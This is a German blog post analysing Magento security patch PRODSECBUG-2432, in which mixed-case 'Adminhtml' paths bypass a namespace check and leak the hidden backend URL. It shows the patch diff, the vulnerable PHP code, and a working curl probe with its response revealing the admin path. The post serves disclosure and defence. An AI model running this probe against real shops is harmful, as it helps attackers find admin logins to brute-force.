Magento hat am 25.06.2019 einen neuen Sicherheitspatch veröffentlicht. Seine Bezeichnung ist PRODSECBUG-2432. Durch diese Sicherheitslücke ist es möglich die Route zum Backend von Magento 2 auszulesen. In diesem Beitrag zeige ich, worum es geht, wie er funktioniert und warum es ein potentielles Sicherheitsrisiko darstellt.

Warum ist das ein Problem?

Wenn ein potentieller Angreifer in der Lage ist, die URL zum Backend des Shopsystems zu ermitteln, ist meist die erste Hürde geschafft. Er weiß, wo er weiter kommt. Über die URL wird nämlich nicht nur die Login-Maske bereitgestellt, mit der sich ein Benutzer in das Backend einloggen kann. Sie ist Bestandteil jeder URL, die im Backend verwendet wird. Ob es das Speichern von Produkten, Bearbeiten von Kundendaten oder die Einsicht in die Bestellungen ist. In jeder Backend URL ist der Admin-Pfad enthalten.

Auf diese Art vermehren sich die potentiellen Angriffsvektoren schlagartig. Viele Shopbetreiber verwenden hier kryptische Zeichenketten, um es gegen den unbefugten Zugriff zu schützen. Erst einmal bekannt, kann ein Angreifer mittels Brute-Force Benutzername und Passwort „erraten“ und sich so Zutritt verschaffen. Daneben bieten potentielle Schwachstellen im Backend weitere Möglichkeiten einzudringen.

Wie kann ich mich schützen?

Wer kann, sollte zeitnah auf eine bereits gepatchte Version aktualisieren. Wer aus Gründen nicht, oder noch nicht aktualisieren kann, sollte den Patch für PRODSECBUG-2432 einspielen.

Sichere Versionen sind folgende (enthalten bereits den Patch):

  • Magento Open Source Version 2.3.2
  • Magento Open Source Version 2.2.9
  • Magento Open Source Version 2.1.18

Wie entsteht diese Sicherheitslücke?

Den offiziellen Patch kann man auf der Download Seite von Magento herunterladen. Der Inhalt ist sehr überschaubar. Der Namespace wird vor der weiteren Verabeitung in Kleinbuchstaben umgewandelt.

         if ($area) {
             $area = '\\' . $area;
         }
+        $namespace = strtolower($namespace);
         if (strpos($namespace, self::NOT_ALLOWED_IN_NAMESPACE_PATH) !== false) {
             return null;
         }

Ich fragte mich, was das für einen Hintergrund hat und wie man diese Lücke eventuell ausnutzen kann. Nicht zuletzt, um einen Check für unser Security Audit Tool Watchimon zu erstellen. Die Funktion um die es geht ist get in der Klasse Magento\Framework\App\Router\ActionList

public function get($module, $area, $namespace, $action)
{
    if ($area) {
        $area = '\\' . $area;
    }
    if (strpos($namespace, self::NOT_ALLOWED_IN_NAMESPACE_PATH) !== false) {
        return null;
    }
    if (in_array(strtolower($action), $this->reservedWords)) {
        $action .= 'action';
    }
    $fullPath = str_replace(
        '_',
        '\\',
        strtolower(
            $module . '\\controller' . $area . '\\' . $namespace . '\\' . $action
        )
    );
    if (isset($this->actions[$fullPath])) {
        return is_subclass_of($this->actions[$fullPath], $this->actionInterface) ? $this->actions[$fullPath] : null;
    }
    return null;
}

Das Interessante ist, dass eigentlich schon geprüft wird, ob der Namespace erlaubt ist. Nicht erlaubt ist der Namespace NOT_ALLOWED_IN_NAMESPACE_PATH und dieser hat den Wert „adminhtml“. Diese Prüfung lässt sich umgehen, wenn der Pfad nicht kleingeschrieben ist, sondern Groß- und Kleinbuchstaben enthält. Dadurch ist des möglich die Prüfung auszuhebeln und beliebige Controller Actions zu adressieren. Auch die im Backend. Alle verfügbaren Controller Actions sind in der Instanzvariable actions gehalten. Hier ein kleiner Auszug:

[magento\catalog\controller\product] => Magento\Catalog\Controller\Product
[magento\catalog\controller\category\view] => Magento\Catalog\Controller\Category\View
[magento\catalog\controller\adminhtml\product] => Magento\Catalog\Controller\Adminhtml\Product

Hinzu kommt jetzt, dass Magento einen Redirect auf die Loginseite schickt, wenn der Nutzer im Backend keine Route hat. Das heißt, man muss nur über diese Lücke eine Backend Route mit Adminhtml adressieren und wird auf die Login Maske von Magento weitergeleitet. In der Adresszeile sieht man dann den Backend Pfad.

Magento 2 Admin Login Screen

Ausnutzen lässt sich das Ganze dann beispielsweise über curl:

$ curl -I http://magento2.local/customer/Adminhtml/index
HTTP/1.1 302 Found
Date: Wed, 26 Jun 2019 12:44:56 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Set-Cookie: PHPSESSID=bef9f3e74210d94910d73ab736c765d1; expires=Wed, 26-Jun-2019 13:44:56 GMT; Max-Age=3600; path=/; domain=magento2.local; HttpOnly
Expires: Tue, 26 Jun 2018 12:44:56 GMT
Cache-Control: max-age=0, must-revalidate, no-cache, no-store
Pragma: no-cache
Location: http://magento2.local/admin_v2k1ud22/customer/auth/login/key/884575c17ec882ec1347e1a6685c98918f568e5023cd506338d21bdf25203cb8/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=UTF-8

Aus dem Beispiel kann man die Route zum Backend ablesen. In diesem Fall admin_v2k1ud22.